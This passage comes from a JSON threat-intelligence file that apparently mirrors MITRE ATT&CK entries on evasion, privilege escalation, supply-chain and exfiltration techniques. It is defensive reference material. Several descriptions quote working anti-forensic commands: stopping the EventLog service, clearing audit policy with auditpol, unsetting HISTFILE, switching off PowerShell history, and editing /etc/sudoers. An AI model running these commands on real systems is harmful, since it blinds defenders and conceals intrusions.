"description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)",
"meta": {
"external_id": "CAPEC-578",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Termination",
"Sensor Health: Host Status",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Deletion",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux",
"Containers",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/001",
"https://capec.mitre.org/data/definitions/578.html",
"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
"value": "Disable or Modify Tools - T1562.001"
},
{
"description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ",
"meta": {
"external_id": "T1195.002",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1195/002",
"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
"https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
]
},
"related": [
{
"dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
"type": "subtechnique-of"
}
],
"uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
"value": "Compromise Software Supply Chain - T1195.002"
},
{
"description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.",
"meta": {
"external_id": "T1134.003",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1134/003",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
]
},
"related": [
{
"dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"type": "subtechnique-of"
}
],
"uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819",
"value": "Make and Impersonate Token - T1134.003"
},
{
"description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
"meta": {
"external_id": "T1195.003",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1195/003"
]
},
"related": [
{
"dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
"type": "subtechnique-of"
}
],
"uuid": "39131305-9282-45e4-ac3b-591d2d4fc3ef",
"value": "Compromise Hardware Supply Chain - T1195.003"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example: \n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
"meta": {
"external_id": "CAPEC-556",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/bb166549.aspx",
"https://attack.mitre.org/techniques/T1546/001",
"https://capec.mitre.org/data/definitions/556.html",
"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c",
"value": "Change Default File Association - T1546.001"
},
{
"description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
"meta": {
"external_id": "T1564.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/001",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
"value": "Hidden Files and Directories - T1564.001"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
"meta": {
"external_id": "CAPEC-471",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Module: Module Load"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/001",
"https://capec.mitre.org/data/definitions/471.html",
"https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637",
"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN",
"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
"https://msdn.microsoft.com/en-US/library/aa375365",
"https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html",
"https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html",
"https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html",
"https://www.owasp.org/index.php/Binary_planting"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
"value": "DLL Search Order Hijacking - T1574.001"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
"meta": {
"external_id": "CAPEC-17",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/010",
"https://capec.mitre.org/data/definitions/17.html"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
"value": "Services File Permissions Weakness - T1574.010"
},
{
"description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
"meta": {
"external_id": "T1567.001",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1567/001"
]
},
"related": [
{
"dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
"type": "subtechnique-of"
}
],
"uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7",
"value": "Exfiltration to Code Repository - T1567.001"
},
{
"description": "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",
"meta": {
"external_id": "T1599.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1599/001",
"https://tools.ietf.org/html/rfc1918"
]
},
"related": [
{
"dest-uuid": "b8017880-4b1e-42de-ad10-ae7ac6705166",
"type": "subtechnique-of"
}
],
"uuid": "4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
"value": "Network Address Translation Traversal - T1599.001"
},
{
"description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
"meta": {
"external_id": "T1562.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Process: Process Creation",
"Script: Script Execution",
"Sensor Health: Host Status",
"Windows Registry: Windows Registry Key Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/002",
"https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy",
"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md",
"https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html",
"https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c",
"https://www.coretechnologies.com/blog/windows-services/eventlog/",
"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/",
"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
"value": "Disable Windows Event Logging - T1562.002"
},
{
"description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
"meta": {
"external_id": "CAPEC-13",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/003",
"https://capec.mitre.org/data/definitions/13.html",
"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59",
"value": "Impair Command History Logging - T1562.003"
},
{
"description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
"meta": {
"external_id": "T1548.002",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Process: Process Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
"https://attack.mitre.org/techniques/T1548/002",
"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
"https://github.com/hfiref0x/UACME",
"https://msdn.microsoft.com/en-us/library/ms679687.aspx",
"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
]
},
"related": [
{
"dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
"type": "subtechnique-of"
}
],
"uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
"value": "Bypass User Account Control - T1548.002"
},
{
"description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
"meta": {
"external_id": "T1497.002",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1497/002",
"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
]
},
"related": [
{
"dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
"type": "subtechnique-of"
}
],
"uuid": "91541e7e-b969-40c6-bbd8-1b5352ec2938",
"value": "User Activity Based Checks - T1497.002"
},
{
"description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n",
"meta": {
"external_id": "T1552.005",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"User Account: User Account Authentication"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1552/005",
"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
"https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/",
"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3",
"value": "Cloud Instance Metadata API - T1552.005"
},
{
"description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",
"meta": {
"external_id": "T1567.002",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1567/002"
]
},
"related": [
{
"dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
"type": "subtechnique-of"
}
],
"uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
"value": "Exfiltration to Cloud Storage - T1567.002"
},
{
"description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",
"meta": {
"external_id": "T1548.003",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Process: Process Metadata"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1548/003",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
"https://www.sudo.ws/"
]
},
"related": [
{
"dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
"type": "subtechnique-of"
}
],
"uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
"value": "Sudo and Sudo Caching - T1548.003"
},
{
